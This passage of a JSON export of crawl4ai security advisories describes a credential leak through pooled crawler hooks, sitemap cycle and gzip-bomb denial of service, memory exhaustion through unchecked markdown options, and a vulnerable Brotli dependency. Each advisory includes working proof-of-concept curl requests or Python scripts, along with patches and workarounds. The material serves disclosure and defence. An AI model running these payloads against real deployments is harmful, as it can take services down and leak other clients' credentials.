gs","repos_url":"https:\/\/api.github.com\/users\/ntohidi\/repos","events_url":"https:\/\/api.github.com\/users\/ntohidi\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/ntohidi\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_developer","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":0,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:N\/A:H","score":6.5}},{"ghsa_id":"GHSA-x4gh-gvcx-p9gp","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-x4gh-gvcx-p9gp","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-x4gh-gvcx-p9gp","summary":"Docker server keeps one caller's declarative hooks on the pooled crawler for later callers","description":"### Summary\n\nOn the Docker API server with hooks enabled (`CRAWL4AI_HOOKS_ENABLED=true`), the declarative hooks one API client sends stay attached to the pooled crawler after its request ends. The next client that gets the same crawler runs them on its own crawl, even when it sends no hooks. A client that later crawls a URL it controls receives the headers and cookies an earlier client set for its own crawl, such as an `Authorization` header or a session cookie.\n\n### Details\n\n`_attach_declarative_hooks()` in `deploy\/docker\/api.py` calls `crawler.crawler_strategy.set_hook()` on the crawler returned by `get_crawler()` in `deploy\/docker\/crawler_pool.py`. That crawler is shared: the pool keys it by browser config only, and `release_crawler()` only lowers a counter. Nothing removes the hooks when the request ends, and a request with no hooks skips the attach step, so `AsyncPlaywrightCrawlerStrategy` keeps running the earlier caller's `before_goto` and `on_page_context_created` hooks. This carries the `set_headers` and `add_cookies` actions, and the other declarative actions, into every later crawl on that crawler. Two requests that run on the same crawler at the same time also overwrite each other's hooks.\r\n\n\n### Proof of concept\n\n### Proof of concept\r\n\r\nServer: crawl4ai 0.9.5 Docker image with `CRAWL4AI_HOOKS_ENABLED=true` and default browser config. Two valid API tokens: `$TOKEN_A` for the first client, `$TOKEN_B` for a second client that sends no hooks. Both crawl a loopback test site that echoes request headers back in the page body.\r\n\r\n1. Client A crawls with hooks that set a header and a cookie that stand in for its own credentials:\r\n\r\n```bash\r\ncurl -s http:\/\/localhost:11235\/crawl -H \"Authorization: Bearer $TOKEN_A\" -H 'Content-Type: application\/json' -d '{\r\n  \"urls\": [\"http:\/\/127.0.0.1:8000\/alice\"],\r\n  \"crawler_config\": {\"type\": \"CrawlerRunConfig\", \"params\": {\"cache_mode\": \"bypass\"}},\r\n  \"hooks\": {\"hooks\": [\r\n    {\"action\": \"set_headers\", \"params\": {\"headers\": {\"Authorization\": \"Bearer ALICE-SECRET\"}}},\r\n    {\"action\": \"add_cookies\", \"params\": {\"cookies\": [{\"name\": \"session\", \"value\": \"ALICE-COOKIE\", \"domain\": \"127.0.0.1\"}]}}\r\n  ]}\r\n}'\r\n```\r\n\r\nThe response page shows the headers the test site received, confirming the hooks ran.\r\n\r\n2. Client B crawls its own page on the same site, with the same default browser config and no `hooks` field at all:\r\n\r\n```bash\r\ncurl -s http:\/\/localhost:11235\/crawl -H \"Authorization: Bearer $TOKEN_B\" -H 'Content-Type: application\/json' -d '{\r\n  \"urls\": [\"http:\/\/127.0.0.1:8000\/mallory\"],\r\n  \"crawler_config\": {\"type\": \"CrawlerRunConfig\", \"params\": {\"cache_mode\": \"bypass\"}}\r\n}'\r\n```\r\n\r\nResult: client B's response page still shows `Authorization: Bearer ALICE-SECRET` and the `session=ALICE-COOKIE` cookie, although client B sent no hooks. The hooks from step 1 stayed on the pooled crawler and ran on client B's crawl. In a real deployment, client B's target would be a server the second client controls, so that server receives client A's header, and the cookie goes to its own site. On 0.9.6, client B's page shows neither.\r\n\r\nThe reporter's `repro.py` runs this same sequence against a live uvicorn instance of `deploy\/docker\/server.py` with two signed JWTs and a local `http.server` that echoes `Authorization` and `Cookie` back in the page, and confirms the same leak.\r\n\n\n### Impact\n\nDeployments that enable hooks and give tokens to more than one client who should not trust each other. Hooks are off by default. A client who crawls after another client's hooked crawl, with the same browser config (the default config matches), can send that client's credentials to a server it controls: the header goes to any URL, and the cookies go to the cookie's own site, so the attacker gets pages as they render for the earlier client. A client can also set hooks that then run on other clients' crawls.\r\n\r\n### Patch\r\n\r\nDeclarative hooks are no longer set on the pooled crawler strategy. The server puts each request's hooks in a request-scoped context variable (`request_hooks` in `crawl4ai\/async_crawler_strategy.py`), sets it to no hooks for a request that sends none, and the strategy runs only those hooks while it is set. Concurrent and later requests on the same crawler each run only their own hooks. Fixed in 0.9.6.\r\n\r\n### Workaround\r\n\r\nKeep `CRAWL4AI_HOOKS_ENABLED` off (the default), or give hooks-enabled servers only to one trusted client.\r\n","severity":"medium","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-x4gh-gvcx-p9gp","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-11-20T12:56:15Z","published_at":"2026-11-20T12:56:15Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.9.5","patched_versions":"0.9.6","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:H\/PR:L\/UI:N\/S:U\/C:H\/I:L\/A:N","score":5.9},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-200","name":"Exposure of Sensitive Information to an Unauthorized Actor"},{"cwe_id":"CWE-668","name":"Exposure of Resource to Wrong Sphere"}],"cwe_ids":["CWE-200","CWE-668"],"credits":[{"login":"TheCyberMessi","type":"reporter"},{"login":"ntohidi","type":"remediation_developer"}],"credits_detailed":[{"user":{"login":"TheCyberMessi","id":114438245,"node_id":"U_kgDOBtIwZQ","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/114438245?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/TheCyberMessi","html_url":"https:\/\/github.com\/TheCyberMessi","followers_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/followers","following_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/orgs","repos_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/repos","events_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"},{"user":{"login":"ntohidi","id":17140097,"node_id":"MDQ6VXNlcjE3MTQwMDk3","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/17140097?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/ntohidi","html_url":"https:\/\/github.com\/ntohidi","followers_url":"https:\/\/api.github.com\/users\/ntohidi\/followers","following_url":"https:\/\/api.github.com\/users\/ntohidi\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/ntohidi\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/ntohidi\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/ntohidi\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/ntohidi\/orgs","repos_url":"https:\/\/api.github.com\/users\/ntohidi\/repos","events_url":"https:\/\/api.github.com\/users\/ntohidi\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/ntohidi\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_developer","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":0,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:H\/PR:L\/UI:N\/S:U\/C:H\/I:L\/A:N","score":5.9}},{"ghsa_id":"GHSA-8x85-mx8f-wj4v","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-8x85-mx8f-wj4v","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-8x85-mx8f-wj4v","summary":"Unbounded sitemap index following in AsyncUrlSeeder (cycles, depth, gzip bombs)","description":"### Summary\n\n`AsyncUrlSeeder` follows sitemap indexes with no list of sitemaps it has already fetched, no depth limit, and no size limit on the sitemap body. A site the operator chooses to seed can serve a sitemap index that points back to itself, or a small gzip file that inflates to hundreds of megabytes. The seeding job then never ends and its memory grows until the process fails. This affects the library (`AsyncUrlSeeder` with `source=\"sitemap\"` and `DomainMapper` with the `sitemap` source). The Docker server does not expose the seeder.\n\n### Details\n\n`AsyncUrlSeeder._iter_sitemap()` and `AsyncUrlSeeder._iter_sitemap_content()` in `crawl4ai\/async_url_seeder.py` read each `<sitemap><loc>` of an index and start one new task per entry, which calls `_iter_sitemap()` again. Nothing records which sitemap URLs were already fetched and nothing limits the depth, so an index that lists itself twice doubles the work at every level. In a local test the seeder made more than 65,000 fetches of the same index in three seconds. Both functions also read the whole response into memory and call `gzip.decompress()` on `.gz` sitemaps with no limit: a 194 KB gzip body inflated to 200 MB and raised peak memory by about 400 MB. `DomainMapper._scan_sitemaps()` calls `_iter_sitemap()` and has the same problem.\n\n### Proof of concept\n\nLibrary: crawl4ai 0.9.5, `AsyncUrlSeeder`. The Docker server does not expose the seeder. This reproduction uses an in-memory httpx transport, so it makes no real network requests. `attacker.example` stands for a site a seeding job is pointed at.\r\n\r\n1. Run this script. It serves a sitemap index that lists itself twice, and a 194 KB gzip sitemap that inflates to 200 MB.\r\n\r\n```python\r\nimport asyncio, gzip, io, resource\r\nimport httpx\r\nfrom crawl4ai.async_url_seeder import AsyncUrlSeeder\r\n\r\nhits = {\"n\": 0}\r\nCYCLE = b\"\"\"<?xml version=\"1.0\"?><sitemapindex xmlns=\"http:\/\/www.sitemaps.org\/schemas\/sitemap\/0.9\">\r\n<sitemap><loc>http:\/\/attacker.example\/a<\/loc><\/sitemap><sitemap><loc>http:\/\/attacker.example\/a?x<\/loc><\/sitemap><\/sitemapindex>\"\"\"\r\n\r\nbuf = io.BytesIO()\r\nwith gzip.GzipFile(fileobj=buf, mode=\"wb\", compresslevel=9) as g:\r\n    g.write(b\"<urlset>\")\r\n    for _ in range(200):\r\n        g.write(b\" \" * 1_000_000)\r\n    g.write(b\"<\/urlset>\")\r\nBOMB = buf.getvalue()\r\n\r\ndef handler(req):\r\n    if req.url.path.startswith(\"\/a\"):\r\n        hits[\"n\"] += 1\r\n        return httpx.Response(200, content=CYCLE)\r\n    if req.url.path == \"\/bomb.xml.gz\":\r\n        return httpx.Response(200, content=BOMB)\r\n    return httpx.Response(404)\r\n\r\nasync def main():\r\n    s = AsyncUrlSeeder(client=httpx.AsyncClient(transport=httpx.MockTransport(handler)))\r\n    async def drain(url):\r\n        async for _ in s._iter_sitemap(url):\r\n            pass\r\n    print(f\"bomb: compressed body {len(BOMB):,} bytes\")\r\n    before = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss\r\n    await drain(\"http:\/\/attacker.example\/bomb.xml.gz\")\r\n    after = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss\r\n    print(f\"bomb: peak RSS grew by about {(after - before) \/ 1e6:,.0f} MB (macOS counts bytes, Linux counts KB)\")\r\n    try:\r\n        await asyncio.wait_for(drain(\"http:\/\/attacker.example\/a\"), 3)\r\n        print(\"cycle: finished\")\r\n    except asyncio.TimeoutError:\r\n        print(f\"cycle: still running after 3s, {hits['n']} fetches of the same index\")\r\n\r\nasyncio.run(main())\r\n```\r\n\r\nResult: the gzip body is fully inflated in memory; peak memory grows by about 400 MB. The cyclic index never finishes: more than 65,000 fetches of the same index in three seconds, and the work doubles at every nesting level.\r\n\r\nThe public API has the same problem. Seeding a domain whose `sitemap.xml` (or the `Sitemap:` line in `robots.txt`) serves either file reproduces it the same way:\r\n\r\n```python\r\nfrom crawl4ai import AsyncUrlSeeder, SeedingConfig\r\n\r\nasync with AsyncUrlSeeder() as seeder:\r\n    await seeder.urls(\"attacker.example\", SeedingConfig(source=\"sitemap\"))\r\n```\r\n\r\nResult: the call never returns and memory keeps growing. `DomainMapper` with the `sitemap` source has the same issue, since it also calls `_iter_sitemap()`.\r\n\n\n### Impact\n\nAn application that seeds URLs from sitemaps of domains it does not control, such as a service that maps or crawls user-supplied domains, can be made to hang and to run out of memory by one hostile site. No data is exposed and no code runs. Seeding only trusted domains is not affected.\r\n\r\n### Patch\r\n\r\nSitemap index following now keeps one set of fetched sitemap URLs per discovery run (shared across the `sitemap.xml`, `robots.txt` and `DomainMapper` entry points), stops following indexes after 5 levels of nesting, and fetches at most 10,000 sitemaps per run. Each sitemap body is streamed and refused once it passes 50 MB, after HTTP `Content-Encoding` is decoded, and a `.gz` sitemap is refused once it inflates past 50 MB. 50 MB is the limit the sitemaps.org protocol sets. Fixed in 0.9.6.\r\n\r\n### Workaround\r\n\r\nDo not use `source=\"sitemap\"` (or the `sitemap` source of `DomainMapper`) on domains you do not trust. Run seeding jobs under a memory limit and an overall timeout.\r\n","severity":"medium","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-8x85-mx8f-wj4v","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-11-20T12:56:07Z","published_at":"2026-11-20T12:56:07Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.9.5","patched_versions":"0.9.6","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:U\/C:N\/I:N\/A:H","score":6.5},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-409","name":"Improper Handling of Highly Compressed Data (Data Amplification)"},{"cwe_id":"CWE-674","name":"Uncontrolled Recursion"}],"cwe_ids":["CWE-409","CWE-674"],"credits":[{"login":"ucsurf","type":"reporter"},{"login":"ntohidi","type":"remediation_developer"}],"credits_detailed":[{"user":{"login":"ucsurf","id":337280806,"node_id":"U_kgDOFBp_Jg","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/337280806?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/ucsurf","html_url":"https:\/\/github.com\/ucsurf","followers_url":"https:\/\/api.github.com\/users\/ucsurf\/followers","following_url":"https:\/\/api.github.com\/users\/ucsurf\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/ucsurf\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/ucsurf\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/ucsurf\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/ucsurf\/orgs","repos_url":"https:\/\/api.github.com\/users\/ucsurf\/repos","events_url":"https:\/\/api.github.com\/users\/ucsurf\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/ucsurf\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"},{"user":{"login":"ntohidi","id":17140097,"node_id":"MDQ6VXNlcjE3MTQwMDk3","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/17140097?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/ntohidi","html_url":"https:\/\/github.com\/ntohidi","followers_url":"https:\/\/api.github.com\/users\/ntohidi\/followers","following_url":"https:\/\/api.github.com\/users\/ntohidi\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/ntohidi\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/ntohidi\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/ntohidi\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/ntohidi\/orgs","repos_url":"https:\/\/api.github.com\/users\/ntohidi\/repos","events_url":"https:\/\/api.github.com\/users\/ntohidi\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/ntohidi\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_developer","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":0,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:U\/C:N\/I:N\/A:H","score":6.5}},{"ghsa_id":"GHSA-jfhw-vrxg-wpcw","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-jfhw-vrxg-wpcw","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-jfhw-vrxg-wpcw","summary":"Memory exhaustion via unchecked DefaultMarkdownGenerator options in untrusted request bodies","description":"### Summary\n\nThe Docker server accepts `DefaultMarkdownGenerator` in untrusted request bodies but does not check its `options` dict. Every key in it is set as an attribute on the html2text converter, including internal state. An API client can set the blockquote depth counter to a huge number, and one request of a few hundred bytes makes the worker use gigabytes of memory until it is killed. This affects the Docker server.\n\n### Details\n\n`_filter_untrusted_fields()` in `crawl4ai\/async_configs.py` has no field allowlist for `DefaultMarkdownGenerator`, so `options` passes through. `DefaultMarkdownGenerator.generate_markdown()` in `crawl4ai\/markdown_generation_strategy.py` hands the dict to `HTML2Text.update_params()` in `crawl4ai\/html2text\/__init__.py`, which calls `setattr(self, key, value)` for every key. With `{\"blockquote\": 1000000000}`, html2text prefixes every output line with `\">\" * self.blockquote`. Reachable through `POST \/crawl`, `\/crawl\/stream`, `\/crawl\/job` and the MCP crawl tool.\n\n### Proof of concept\n\nServer: crawl4ai 0.9.5 Docker image with default settings and a valid API token in `$TOKEN`.\r\n\r\n1. Send one crawl request where `markdown_generator.params.options` sets `blockquote`. `blockquote` is html2text's internal blockquote-depth counter, not a documented option.\r\n\r\n```bash\r\ncurl -s http:\/\/localhost:11235\/crawl -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\/json' -d '{\r\n  \"urls\": [\"https:\/\/example.com\/\"],\r\n  \"crawler_config\": {\"type\": \"CrawlerRunConfig\", \"params\": {\r\n    \"markdown_generator\": {\"type\": \"DefaultMarkdownGenerator\", \"params\": {\"options\": {\"blockquote\": 1000000000}}}\r\n  }}\r\n}'\r\n```\r\n\r\n2. Watch the memory of the server container (`docker stats`).\r\n\r\nResult: the request body is a few hundred bytes. html2text prefixes every output line with `\">\" * self.blockquote`, so the worker's memory grows until it is killed. Gunicorn restarts the worker, and the same request kills it again. The same field is accepted by `\/crawl\/stream`, `\/crawl\/job` and the MCP crawl tool.\r\n\r\nLibrary-only reproduction, no network, with a smaller value so the machine survives:\r\n\r\n```python\r\nfrom crawl4ai.async_configs import CrawlerRunConfig, Provenance\r\n\r\nHTML = \"\".join(f\"<p>{c}<\/p>\" for c in \"abcdefghijklmnopqrst\")\r\nbody = {\"type\": \"CrawlerRunConfig\", \"params\": {\"markdown_generator\": {\r\n    \"type\": \"DefaultMarkdownGenerator\", \"params\": {\"options\": {\"blockquote\": 2_000_000}}}}}\r\ncfg = CrawlerRunConfig.load(body, provenance=Provenance.UNTRUSTED)   # accepted on 0.9.5\r\nmd = cfg.markdown_generator.generate_markdown(input_html=HTML, base_url=\"https:\/\/example.com\")\r\nprint(len(HTML), \"bytes of HTML ->\", len(md.raw_markdown), \"bytes of markdown\")\r\n```\r\n\r\nResult: 160 bytes of HTML become about 38 MB of markdown. Output size scales with the value, so a larger value needs gigabytes. On 0.9.6, `CrawlerRunConfig.load()` rejects the `options` dict.\r\n\n\n### Impact\n\nAny client with a valid API token can kill a server worker with one small request. All crawls running on that worker are lost. Gunicorn restarts the worker, so repeating the request keeps the service down. A default setup is affected. The library used directly is not affected: the caller chooses the options.\r\n\r\n### Patch\r\n\r\n`_clamp_untrusted()` now checks `DefaultMarkdownGenerator.options` in untrusted request bodies, in both the plain and the `{\"type\": \"dict\", \"value\": ...}` form. Only a fixed list of documented html2text options is accepted: boolean options such as `ignore_links`, `ignore_images`, `escape_html` and `skip_internal_links`, and `body_width` as an integer from 0 to 10000 or null. Any other key or value returns 400. Library use is unchanged. Fixed in 0.9.6.\r\n\r\n### Workaround\r\n\r\nAt your reverse proxy, reject request bodies that contain `markdown_generator` with an `options` key. Give API tokens only to trusted clients.","severity":"medium","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-jfhw-vrxg-wpcw","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-11-20T12:56:00Z","published_at":"2026-11-20T12:56:00Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.9.5","patched_versions":"0.9.6","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:N\/A:H","score":6.5},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-915","name":"Improperly Controlled Modification of Dynamically-Determined Object Attributes"}],"cwe_ids":["CWE-400","CWE-915"],"credits":[{"login":"SohamKukreti","type":"reporter"}],"credits_detailed":[{"user":{"login":"SohamKukreti","id":114597712,"node_id":"U_kgDOBtSfUA","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/114597712?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/SohamKukreti","html_url":"https:\/\/github.com\/SohamKukreti","followers_url":"https:\/\/api.github.com\/users\/SohamKukreti\/followers","following_url":"https:\/\/api.github.com\/users\/SohamKukreti\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/SohamKukreti\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/SohamKukreti\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/SohamKukreti\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/SohamKukreti\/orgs","repos_url":"https:\/\/api.github.com\/users\/SohamKukreti\/repos","events_url":"https:\/\/api.github.com\/users\/SohamKukreti\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/SohamKukreti\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":0,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:N\/A:H","score":6.5}},{"ghsa_id":"GHSA-phmg-6873-j3gj","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-phmg-6873-j3gj","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-phmg-6873-j3gj","summary":"Vulnerable Brotli decoder (CVE-2026-111497) allowed by dependency range and shipped in Docker image","description":"### Summary\n\ncrawl4ai 0.9.5 and earlier allow `brotli` versions affected by CVE-2026-111497, an out-of-bounds write in Google's Brotli decoder. The official Docker image ships `brotli` 1.2.0 and the Playwright 1.64.0 driver, which bundles Node.js v24.21.0, also affected. The patchright driver before 1.64.2 bundles the same Node.js build. A web server that crawl4ai crawls can send a crafted Brotli-encoded response and reach the vulnerable decoder. This affects both the library and the Docker server.\n\n### Details\n\n`pyproject.toml` and `requirements.txt` require `brotli>=1.1.0`, which resolves to affected versions (1.1.0, 1.2.0). When `brotli` is installed, aiohttp decodes `Content-Encoding: br` responses with it. `AsyncHTTPCrawlerStrategy` sends `Accept-Encoding: gzip, deflate, br` on every request, and other aiohttp-based code paths accept `br` too. The server being crawled chooses the response body.\r\n\r\nThe Docker image also carries Node.js v24.21.0 as the Playwright and patchright drivers. crawl4ai does not use their request API, so these copies are not reached by crawl4ai code paths, but it is still an affected binary in the image.\n\n### Proof of concept\n\nLibrary or server: crawl4ai 0.9.5 or earlier, installed with `pip` or from the 0.9.5 Docker image. CVE-2026-111497 is an out-of-bounds write in the Brotli decoder (affected: `brotli` up to 1.2.0, Node.js v24.21.0).\r\n\r\n1. Install the newest versions that crawl4ai 0.9.5 allows:\r\n\r\n```bash\r\npython -m venv v && . v\/bin\/activate\r\npip install crawl4ai==0.9.5 \"brotli==1.2.0\" \"playwright==1.64.0\"\r\n```\r\n\r\n2. Check that the version ranges in `pyproject.toml` accept them, and which Node.js the driver bundles. The script below takes the path to `pyproject.toml` as its argument:\r\n\r\n```python\r\nimport importlib.metadata as m, os, subprocess, playwright, sys, pathlib, tomllib\r\nfrom packaging.specifiers import SpecifierSet\r\n\r\ndeps = tomllib.loads(pathlib.Path(sys.argv[1]).read_text())[\"project\"][\"dependencies\"]\r\nspec = {d.split(\">\")[0].split(\"=\")[0]: SpecifierSet(d[len(d.split(\">\")[0].split(\"=\")[0]):])\r\n        for d in deps if d.startswith((\"brotli\", \"playwright>\"))}\r\nfor name in (\"brotli\", \"playwright\"):\r\n    v = m.version(name)\r\n    print(f\"{name} {v} allowed by pyproject {spec[name]}: {v in spec[name]}\")\r\nnode = os.path.join(os.path.dirname(playwright.__file__), \"driver\", \"node\")\r\nprint(\"playwright driver node:\", subprocess.check_output([node, \"--version\"], text=True).strip(), \"(fixed: v24.22.1)\")\r\n```\r\n\r\nOutput on 0.9.5:\r\n\r\n```\r\nbrotli 1.2.0 allowed by pyproject >=1.1.0: True\r\nplaywright 1.64.0 allowed by pyproject >=1.49.0: True\r\nplaywright driver node: v24.21.0 (fixed: v24.22.1)\r\n```\r\n\r\n3. In the Docker image, the same versions ship as installed: `docker run --rm --entrypoint python unclecode\/crawl4ai:0.9.5 -c \"import brotli, importlib.metadata as m; print(m.version('brotli'))\"` prints `1.2.0`.\r\n4. To reach the decoder, a crawl must fetch a URL on a server you control (`attacker.example`) that answers with `Content-Encoding: br` and a crafted body. `AsyncHTTPCrawlerStrategy` sends `Accept-Encoding: gzip, deflate, br` on every request, and aiohttp decodes the response with the installed `brotli` package. Other aiohttp code paths accept `br` too.\r\n\r\nResult: the installed `brotli` 1.2.0 and the bundled Node.js v24.21.0 are the affected builds, and the version ranges allow them. This proof does not include a crafted Brotli body. The decoder bug is the upstream one, and the Node.js driver copy is not reached by crawl4ai code paths, because crawl4ai does not use the Playwright request API.\n\n### Impact\n\nAnyone who crawls an attacker-controlled URL with an affected `brotli` installed. On the Docker server, any client that can submit a URL can point the server at such a page. Upstream rates the decoder bug as allowing memory corruption and possible remote code execution. A default install is affected when pip picks an affected `brotli`, and the 0.9.5 Docker image is affected as shipped.\r\n\r\n### Patch\r\n\r\ncrawl4ai 0.9.6 requires `brotli>=1.2.1`, `playwright>=1.64.1` and `patchright>=1.64.2`, in both `pyproject.toml` and `requirements.txt`, and the Docker image is rebuilt with them. The Chromium build (156.0.8078.4) is the same, so no new browser download is needed. Fixed in 0.9.6.\r\n\r\n### Workaround\r\n\r\nRun `pip install -U 